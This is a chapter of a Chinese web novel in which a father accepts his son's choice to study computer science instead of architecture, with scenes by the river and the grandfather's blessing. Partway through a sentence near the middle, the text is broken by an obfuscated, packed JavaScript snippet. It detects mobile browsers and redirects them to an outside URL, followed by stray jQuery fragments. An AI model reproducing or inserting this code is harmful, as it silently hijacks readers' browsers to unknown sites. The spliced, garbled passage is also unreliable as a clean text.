2019年春天，陈晨高三了。


    最后的冲刺阶段，学校抓得紧，家里也跟着紧张。苏惠每天变着花样做饭，陈实负责接送——虽然陈晨说不用，但他还是坚持。


    那天晚上，陈晨回来得比平时晚。推开门，书包往地上一扔，整个人瘫在沙发上。


    苏惠从厨房探出头：“饿不饿？饭在锅里。”


    “不饿。”陈晨闭着眼，“就想躺着。”


    陈实坐在旁边，没说话。他看见儿子的黑眼圈，看见他脸上的疲惫，想起自己当年高考的时候——也是这么累，这么熬。


    但他那时候，心里是踏实的。他知道自己要什么，知道考上了就能改变命运。


    陈晨呢？他问过几次，陈晨都说“不知道”。


    不知道想考什么大学，不知道想学什么专业，不知道以后想干什么。


    陈实没再问。他想起自己当年，也是到填志愿的时候才想明白。年轻人，有几个能早早知道自己要什么的？


    但他心里，还是有一个小小的愿望。


    那个愿望，他从来没对陈晨说过。


    ---


    六月，高考结束。


    陈晨考完最后一科出来，脸上没什么表情。陈实在校门口等着，看见他，迎上去。


    “怎么样？”


    陈晨想了想：“还行吧。正常发挥。”


    陈实点点头，没再问。父子俩一起往回走。


    路过柳江大桥的时候，陈晨忽然停下，扶着栏杆看江。


    “爸，你说我报什么专业好？”


    陈实站在他旁边，也看着江。


    “你想报什么？”


    陈晨沉默了一会儿：“我想报计算机。”


    陈实愣了一下。


    陈晨继续说：“我喜欢这个。编程挺有意思的，能把想法变成现实。而且现在人工智能、大数据都起来了，以后肯定有前途。”


    陈实听着，没说话。


    陈晨转头看他：“爸，你觉得呢？”


    陈实想了想，说：“你自己的事，你自己决定吧。”


    陈晨点点头，继续看江。


    陈实也看着江，但心里在想别的事。


    计算机。不是建筑。


    他那个小小的愿望，到底还是没说出口。


    ---


    接下来的几天，填志愿成了家里的头等大事。


    陈晨翻遍了招生简章，查了无数资料，最后列出一个清单：第一志愿，清华大学计算机系；第二志愿，上海交大计算机系；第三志愿，华中科技大学计算机系。


    全是计算机。


    苏惠看着那个清单，有些担心：“都报计算机？万一……”


    陈晨说：“没有万一。我就要学计算机。”


    苏惠看看陈实，希望他说点什么。陈实没说话。


    那天晚上，陈晨睡了以后，苏惠问他：“你怎么想？”


    陈实说：“他自己决定。”


    苏惠说：“你心里不是想让他学建筑吗？”


    陈实愣了一下，没说话。


    苏惠说：“我看得出来。你一直想让他接你的班。”


    陈实沉默了一会儿，说：“那是我的想法，不是他的。”


    苏惠看着他，没再说什么。


    但那天晚上，陈实躺在床上，很久没睡着。他想起自己填志愿那年，父亲也是这样，什么都没说。但他知道，父亲心里是想让他接班的。后来他选择了建筑，父亲什么都没说，只是拍了拍他的肩膀。


    现在轮到他自己了。


    ---


    第二天，陈实一个人在家，翻出了自己当年的高考志愿表复印件。


    那张纸已经发黄了，边角有些破损，但字迹还清楚。第一志愿：广西工学院，工民建专业。后面是父亲帮他填的“服从调剂”。


    他看着那张表，想起当年填志愿时的情景。父亲坐在旁边，什么都没说，只是看着他填。填完了，父亲接过去看了一眼，然后放回信封里。


    “想好了？”父亲问。


    “想好了。”


    父亲点点头，没再说什么。


    后来他才知道，父亲那天晚上一个人坐在阳台上，抽了半包烟。


    他现在明白了父亲当时的心情。


    不是失望，是不舍。不舍得让孩子走自己的老路，但又希望孩子能走得比自己好。


    他站起来，走到陈晨房间。书桌上摊着陈晨的志愿表，还没最后签字。他看着那些字：清华大学计算机系，上海交大计算机系，华中科技大学计算机系……


    全是计算机。


    他站了很久，然后轻轻带上门。


    ---


    那天晚上，陈实敲开陈晨的房门。


    陈晨正在看书，抬头看他：“爸？”


    陈实在他床边坐下，沉默了一会儿。


    “晨晨，爸爸想跟你聊聊。”


    陈晨放下书，看着他。


    陈实说：“你报计算机，爸爸支持你。”


    陈晨愣了一下。


    陈实继续说：“但是爸爸想问你一个问题。”


    陈晨点点头。


    陈实问：“你为什么想学计算机？”


    陈晨想了想，说：“因为我觉得这个东西有未来。以后什么都离不开计算机，学这个不会错。”


    陈实点点头。


    陈晨又说：“而且我喜欢。写代码的时候，我能坐一下午，不觉得累。”


    陈实看着他，忽然想起自己年轻的时候。坐在图纸前面，一坐就是一下午，也不觉得累。


    “还有吗？”他问。


    陈晨沉默了一会儿，说：“还有……我想做出一点不一样的东西。”


    陈实看着他。


    陈晨说：“你盖的房子，能站几十年。我写的代码，可能几年就过时了。但是，如果我能写出一个有用的程序，能让很多人用，那也是一种……”


    他想了想，找到一个词：“建造。”


    陈实愣住了。


    “你教我的，”陈晨说，“做什么都要认真，都要实在。写代码也是一样。”


    陈实看着他，很久没说话。


    然后他站起来，拍了拍儿子的肩膀。


    “好。”他说，“那就去建你的东西。”


    ---


    志愿填好的第二天，陈实带陈晨回父母家吃饭。


    饭桌上，母亲问东问西，陈晨一一回答。父亲在旁边听着，没说话。


    吃完饭，陈实和陈晨帮母亲收拾碗筷。父亲坐在阳台上抽烟，像往常一样。


    收拾完，陈实走到阳台，在父亲旁边坐下。


    “爸，晨晨的志愿填好了。”


    父亲点点头，等他往下说。


    “报的计算机。”


    父亲抽烟的动作停了一下。


    陈实说：“他喜欢这个。说能做出点不一样的东西。”


    父亲沉默了一会儿，然后问：“你同意？”


    陈实点点头：“同意。”


    父亲看着他，目光里有一种说不清的东西。


    过了一会儿，父亲开口了。


    “当年你报建筑，我也同意。”


    陈实没说话。


    父亲继续说：“不是因为我希望你学建筑。是因为那是你自己选的。”


    他看着远处的江面，慢慢地说：“自己选的路，才会认真走。”


    陈实听着，心里动了一下。


    父亲转过头，看着他：“你教得好。”


    陈实愣了一下。


    父亲说：“他跟你一样，知道自己要什么。”


    陈实不知道该说什么。


    父亲站起来，拍了拍他的肩膀，然后进屋去了。


    陈实一个人坐在阳台上，看着远处的江


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17325185|198899||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，很久很久。


    ---


    那天傍晚，陈实带着陈晨又去了江边。


    夕阳把江水染成橘红色，几只白鹭在江面上飞过，翅膀一扇一扇的。


    陈实站在江边，看着远处。


    “爸，”陈晨忽然问，“你当年为什么学建筑？”


    陈实想了想，说：“因为你爷爷。”


    陈晨愣了一下。


    陈实说：“他在机械厂干了一辈子，做齿轮的。他跟我说，做什么都要像什么。后来我就想，那我就学盖房子吧，盖房子也是做东西。”


    陈晨听着，没说话。


    陈实继续说：“后来干着干着，就喜欢上了。看着一栋楼从无到有，一点一点盖起来，那种感觉……”


    他顿了顿，笑了笑：“说不清楚。”


    陈晨看着他，忽然问：“爸，你后悔过吗？”


    陈实摇摇头：“没有。”


    他看着江水，说：“自己选的路，有什么好后悔的。”


    陈晨沉默了一会儿，然后说：“我也不会后悔的。”


    陈实转过头，看着儿子。十八岁的少年，脸上还带着稚气，但眼神已经像个大人了。


    他想起父亲说的话：自己选的路，才会认真走。


    他伸出手，拍了拍儿子的肩膀。


    “好。”他说，“那你就去走你的路。”


    陈晨笑了。


    夕阳落在他们身后，把两个影子拉得很长很长。


    江水流着，一直往前。


    ---


    那年秋天，陈晨去了北京。


    送他去火车站的那天，苏惠红了眼眶，但忍着没哭。陈实帮她拿着行李，一路送到站台。


    上车前，陈晨转过身，看着他们。


    “爸，妈，我走了。”


    苏惠点点头：“好好照顾自己。”


    陈晨说：“知道。”


    他看向陈实。陈实看着他，忽然想起很多年前，自己第一次去工学院报到那天，父亲也是这样站在门口，看着他走远。


    他从口袋里掏出一样东西，递给陈晨。


    陈晨接过来一看，是一把卷尺。尺带有些磨损，数字有些模糊，但外壳还是那个旧的。


    “这是爸爸第一把卷尺。”陈实说，“用了二十多年了。”


    陈晨看着那把卷尺，不知道该说什么。


    陈实说：“不是让你干这行。是让你记住——做什么，都要像什么。”


    陈晨握着那把卷尺，用力点点头。


    火车开动了。陈实和苏惠站在站台上，看着那列火车越来越远，越来越小，最后消失在视线里。


    苏惠靠在陈实肩上，轻轻说：“他走了。”


    陈实揽着她，说：“嗯。”


    “以后就剩我们俩了。”


    陈实想了想，说：“那我们就过我们俩的日子。”


    苏惠笑了。


    走出火车站，天已经黑了。柳江上的桥灯亮着，一串一串的。陈实开着那辆开了十几年的五菱SPARK，载着苏惠，慢慢往家走。


    路过江边的时候，他停了一下，看着江水。


    他想起了父亲的话：自己选的路，才会认真走。


    他想起了陈晨说的话：你盖的房子能站几十年，我写的代码可能几年就过时了。但是，如果我能做出一个有用的东西……


    他想，儿子是对的。每个人都有自己该走的路，该建的东西。


    他的路是盖房子。儿子的路是写代码。不一样，但都一样——都是用自己的方式，在这世界上留下点什么。


    他发动车子，继续往前。


    前方，路灯亮着，照在回家的路上。


    他知道，那个家，以后会安静一些。但没关系。儿子已经上路了，去建他自己的东西。


    而他，还会继续建他的。


    直到建不动的那一天。